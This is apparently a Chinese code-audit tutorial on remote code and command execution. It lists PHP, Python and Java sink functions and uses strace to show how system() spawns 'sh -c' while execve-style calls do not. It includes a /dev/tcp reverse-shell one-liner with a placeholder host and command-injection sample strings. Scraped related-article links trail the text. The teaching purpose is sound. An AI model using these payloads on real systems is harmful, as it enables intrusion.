RCE-fork,system,execve

简单来讲:

数据流进入了控制流
紧紧抓住输入
不同数据层的交汇处,往往是漏洞点

远程代码执行

PHP

eval()
assert()
preg_repleace()
call_user_func()
call_user_func_array()
array_may() //为每一个元素应用回调函数

python

exec(String) # python代码动态执行
eval(string) # 返回表达式的活代码对象的值
execfile(string) # 从一个文件读取和执行文件

JAVA

貌似没执行代码的,是反序列化反射方式执行

远程命令执行

一般都是系统给用户提供的接口被利用;例如检查设备是ping通;

php

exec
passthru
proc_open
shell_exec
system

python

os.system
popen()
subprocess.call #执行参数提供的命令

java

Runtime.getRuntime.exec()
ProcessBuilder()

shell知识

【Shell多个命令间隔符号】https://www.jianshu.com/p/410cd35e642f

重定向

https://www.jianshu.com/p/70136d731ca0

command1 < cmd.txt 		# 将cmd.txt读出,作为command1的输入
command2 > output.txt # 将command2执行后重定向到output.txt

fd & /proc

【linux fd是什么】https://www.php.cn/linux-491720.html

在linux中,fd全称“File descriptor”,中文名为“文件描述符”,它是内核为了高效管理这些已经被打开的文件所创建的一种索引;它其实是一个非负整数,用于指代被打开的文件,所有执行I/O操作的系统调用都通过文件描述符来实现。

我们知道在Linux系统中一切皆可以看成是文件,文件又可分为:普通文件、目录文件、链接文件和设备文件。在操作这些所谓的文件的时候,我们每操作一次就找一次名字,这会耗费大量的时间和效率。所以Linux中规定每一个文件对应一个索引,这样要操作文件的时候,我们直接找到索引就可以对其进行操作了。

$$ ---> linux下当前进程的pid
/proc ---> linux伪文件系统 --> 进程相关的信息挂载在这里
简单来说:用户和应用程序可以通过proc得到系统的信息,并可以改变内核的某些参数。

【Linux系统proc目录说明】https://zhuanlan.zhihu.com/p/378388389

查看pid 所有/proc信息

在proc中查看当前pid的信息,ls -al /proc/$$

在proc中,查看当前进程的fd

0:标准输入:表示在/dev/pts/0这个设备中读取这个进程($$)的输入里(人话:输入是/dev/pts/0给的)
1:标准输出:表示将,将输出输出到/dev/pts/0中
2:标准错误:(没见过)

查看apache2的fd

/dev/null是一个特殊的设备,是序设备
0 -> /dev/null:表示不允许输入
1 -> /dev/null:表示丢弃所有输出
2 —> 错误日志,指向错误输出,重定向到error.log文件
其它文件描述符可以看看标识
socket:与网络相关的(继续跟进可以知道和哪一个ip通信)
https://blog.csdn.net/weixin_30794499/article/details/98981641
pipe:与管道相关

跟进查看ip地址(ip采取了小端存取)

这个进行进制转码之后就是10进制了,需要进行大小端转换

【在线转换器】http://www.metools.info/other/ipconvert162.html

反弹shell

sh -i >& /dev/tcp/vps/port 0>&1
完整:sh -i 0,1>& /dev/tcp/vps/port 0>&1
0,1>& /dev/tcp/vps/port:将0,1重定向到/dev/tcp/vps/port
0>&1 将标准输入重定向到标准输出指向的这个设备
然后在这里就能看到socket了(截个图)

linux进程的创建

简介fork和execve

linux区分用户态和内核态,用户态程序要进行所有动作、其实都是通过调用system call(系统调用syscall)向内核发起请求,最终在内核态执行完毕后才能得到返回。

系统调用跟用户自定义函数一样也是一个函数,不同的是系统调用运行在内核态,而用户自定义函数运行在用户态。由于某些指令(如设置时钟、关闭/打开中断和I/O操作等)只能运行在内核态,所以操作系统必须提供一种能够进入内核态的方式,系统调用就是这样的一种机制。

【linux syscall系统调用原理及实现】https://blog.csdn.net/yanbw/article/details/123076039

【Linux控制流:fork和execve】https://blog.csdn.net/qq_33369979/article/details/109172295

fork,复制

execve,转变(变身)

bash -c "sleep 5"

其中
22586是执行的sleep的进程号
22579是创建的bash的进程号

进程创建动作:

bash(pid:22579)-->sys_fork
-->bash(22586)--sys_execve(通俗叫“变身”)-->/bin/sleep
这里出现的两个bash除了进程号pid不同之外,其他都相同;只有经过sys_execve之后,才算是真正编程了sleep

系统进程工具strace

概念:

https://zhuanlan.zhihu.com/p/517938702

https://www.cnblogs.com/AloneSword/p/3451121.html?utm_medium=referral&utm_source=debugrun

123.php
<?php
$name = '123456";whomai;echo "123';
$cmd = 'echo "HELLO'.$name.'"';
system($name);
?>
strace -tt -f -e trace=process php 123.php

看前4个就行
php(pid:1)--->fork(clone一次)
-->execve-->/bin/sh -c $input--> fork
-->execve-->/bin/whoami
需要注意的是回调bash -c这个命令 会调用sh -c的
PHP
system()
exec()
shell_exec()
popen()
proc_open()

为什么sh -c这么被关注?

就例如,ls,whoami,管道符,fd,等命令,符号都是shell中的,需要使用bash才能够执行,所以需要使用有一个sh -c来启动一个bash来执行这些命令。

c/php/python下的system()/popen()函数

代码是system($input$)的时候

实际执行执行 sh -c '$input'
可以转换为:
bash(pid:1)-->sys_fork
-->bash(pid:2)-->sys_execve-->/bin/whoami(pid:2)

python的subprocess.call函数

区别:

python01.py
import os
import subprocess if __name__ == "__main__":
name = '123";ping www.baidu.com -c 100;echo "456'
cmd = 'echo "HELLO' + name + '"'
subprocess.call(cmd,shell = True)

python02.py
import os
import subprocess if __name__ == "__main__":
name = '123";ping baidu.com -c 100;echo "456'
cmd = ['echo','"HELLO' + name + '"']
subprocess.call(cmd,shell=False)

python01.py结果

python01.py 从结果看:
python --> fork
-->python2-->execve-->sh --> fork
-->sh2-->execve--->ping
下边还有几个ping包

python02.py结果

从结果来看:
在进程中查看echo命令,一直遍历文件,但是没有遍历到,于是返回上一次进行遍历,直到找到/usr/bin/echo能够执行命令;
并且将后面数组当做echo的参数来执行,由于echo不支持shell命令和shell语法,所以无法执行数组中的参数
于是没有RCE

这个代码是否能rce?

main.java
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class main {
public static void main(String[] args) {
try {
String name = "123';ping baidu.com -c 3;echo '456";
String cmd = "echo 'HELLO " + name + "'";
Process pro = Runtime.getRuntime().exec(cmd);
InputStream in = null;
in = pro.getInputStream();
BufferedReader read = new BufferedReader(new InputStreamReader(in)); String result = read.readLine();
System.out.println("INFO:"+result);
}
catch (IOException e) {
throw new RuntimeException(e);
}
}
}

结果

就从结果而言;
和之前那个不能执行的一样的原因

小总结

system

如果是执行system函数,或者类似system函数,他们都是直接走的fork-->execve流程(调用外

部sh -c),这种情况下,我们的输入被拼接加入到作为bash -c的参数,而bash -c是支持shell

语法的,所以我们能够很轻易的进行拼接、绕过,这种也是最常⻅的RCE攻击

execve

比如Runtime.getRuntime().exec()和subprocess.call(cmd, shell=False)这两者,走的流程

是直接execve,在这种情况下,此输入只能作为固定进程的参数

但是可以考虑遇到了execve类型的,考虑用下面网址的命令起bash,他们有能起bash的

linux:https://gtfobins.github.io/
windows:https://lolbas-project.github.io/#

题外话:

在主机安全产品edr中,如果黑客进来了,执行了命令:

查看命令:history(容易被绕过)

使用pre_load .so 做hook,拿到黑客的输入的命令,但是不能够拿到输出;

sandbox 蜜罐产品(某些)

使用gun bash ----编译一个bash

bash创建一个子进程----->bash(子进程也是bash)

用子进程bash做标准输入存一份,再将输入流转给bash做标准输入,再将bash的标准输出存一份之后输出。

[代码审计基础 03]-RCE-fork,system,execve的更多相关文章

  1. php代码审计基础笔记

    出处: 九零SEC连接:http://forum.90sec.org/forum.php?mod=viewthread&tid=8059 --------------------------- ...

  2. day33-线程基础03

    线程基础03 6.用户线程和守护线程 用户线程:也叫工作线程,当线程的任务执行完或者通知方法结束.平时用到的普通线程均是用户线程,当在Java程序中创建一个线程,它就被称为用户线程 守护线程(Daem ...

  3. javaSE基础03

    javaSE基础03 生活中常见的进制:十进制(0-9).星期(七进制(0-6)).时间(十二进制(0-11)).二十四进制(0-23) 进制之间的转换: 十进制转为二进制: 将十进制除以2,直到商为 ...

  4. javascript基础03

    javascript基础03 1. 算术运算符 后增量/后减量运算符 ++ ,-- 比较运算符 ( >, <, >=, <=, ==, !=,===,!== ) 逻辑运算符( ...

  5. 086 01 Android 零基础入门 02 Java面向对象 01 Java面向对象基础 03 面向对象基础总结 01 面向对象基础(类和对象)总结

    086 01 Android 零基础入门 02 Java面向对象 01 Java面向对象基础 03 面向对象基础总结 01 面向对象基础(类和对象)总结 本文知识点:面向对象基础(类和对象)总结 说明 ...

  6. ADO.NET基础03

    数据库和VS的连接,实现数据的同步,让用户的一切信息都可以在数据库中留下记录. ADO.NET基础      它是连接所有数据库的一种特殊的技术,提供对不同的数据库统一操作接口. 在VS中也可以添加数 ...

  7. fork和execve

    fork函数在新的子进程中运行相同的程序,新的子进程是父进程的一个复制品. execve函数在当前进程的上下文中加载并运行一个新的程序.它会覆盖当前进程的地址空间,但并没有创建一个新的进程.新的程序仍 ...

  8. 对于Linux内核执行过程的理解(基于fork、execve、schedule等函数)

    382 + 原创作品转载请注明出处 + https://github.com/mengning/linuxkernel/ 一.实验环境 win10 -> VMware -> Ubuntu1 ...

  9. java基础03变量和基本数据类型

    package cn.bdqn.test; /** * * @author 小豆腐 * * 变量:会变化的量?? * 一个数据在内存中存储空间的表示!在运行期间可以动态改变! * * 关键字:在jav ...

  10. 从整体上理解进程创建、可执行文件的加载和进程执行进程切换,重点理解分析fork、execve和进程切换

    学号后三位<168> 原创作品转载请注明出处https://github.com/mengning/linuxkernel/ 1.分析fork函数对应的内核处理过程sys_clone,理解 ...

随机推荐

  1. WINDOWS下对NIGNX日志文件进行限制

    首先接到这个任务,发现nginx的日志限制更多的都是在Linux下做的,找了半天,也没找到能直接通过nginx.conf更改体现到日志限制上的. 最后决定直接通过bat脚本,来对nginx的日志进行分 ...

  2. Spring01:概述、工厂模式解耦、Spring中的IOC

    四天课程安排 第一天:Spring框架的概述.Spring中基于XML的IOC配置 第二天: Spring中基于注解的IOC和IOC的案例(单表增删改查,持久层随意) 第三天:Spring中的AOP和 ...

  3. 【每日一题】2022年2月10日-NC160 二分查找-I

    描述请实现无重复数字的升序数组的二分查找 给定一个 元素升序的.无重复数字的整型数组 nums 和一个目标值 target ,写一个函数搜索 nums 中的 target,如果目标值存在返回下标(下标 ...

  4. 错误:Required request parameter 'XXX' for method parameter type String is not present

    错误信息:Required request parameter 'XXX' for method parameter type String is not present 这种都是前端请求方式不同,后 ...

  5. ABP AutoMapper与自定义Mapping

    对象映射 在工作中,需要将相似的对象映射到另一个对象,这样我们来看一个最繁琐的映射方式 例: public class UserAppService : ApplicationService { pr ...

  6. AssertionError: Class XXXXX missing "Meta.model" attribute

    源码示例: from rest_framework import serializers from set.models import Set class SetSerializers(seriali ...

  7. MySql索引下推知识分享

    作者:刘邓忠 Mysql 是大家最常用的数据库,下面为大家带来 mysql 索引下推知识点的分享,以便巩固 mysql 基础知识,如有错误,还请各位大佬们指正. 1 什么是索引下推 索引下推 (Ind ...

  8. 07.synchronized都问啥?

    大家好,我是王有志.关注王有志,一起聊技术,聊游戏,从北漂生活谈到国际风云.最近搞了个抽奖送书的活动,欢迎点击链接参与. 如果Java面试有什么是必问的,synchronized必定占据一席之地.初出 ...

  9. 写一个 Markdown 博客客户端

    这个"伪需求"是最近才想到的. 关于文章管理的想法,说来话长.我最初是在 CSDN 写技术文章,就用网页上的编辑器.后来在 CppBlog 写,用上了 Windows Live W ...

  10. 使用Rancher管理K3s

    rancher中国镜像站地址 https://rancher-mirror.oss-cn-beijing.aliyuncs.com/ https://rancher-mirror.rancher.cn ...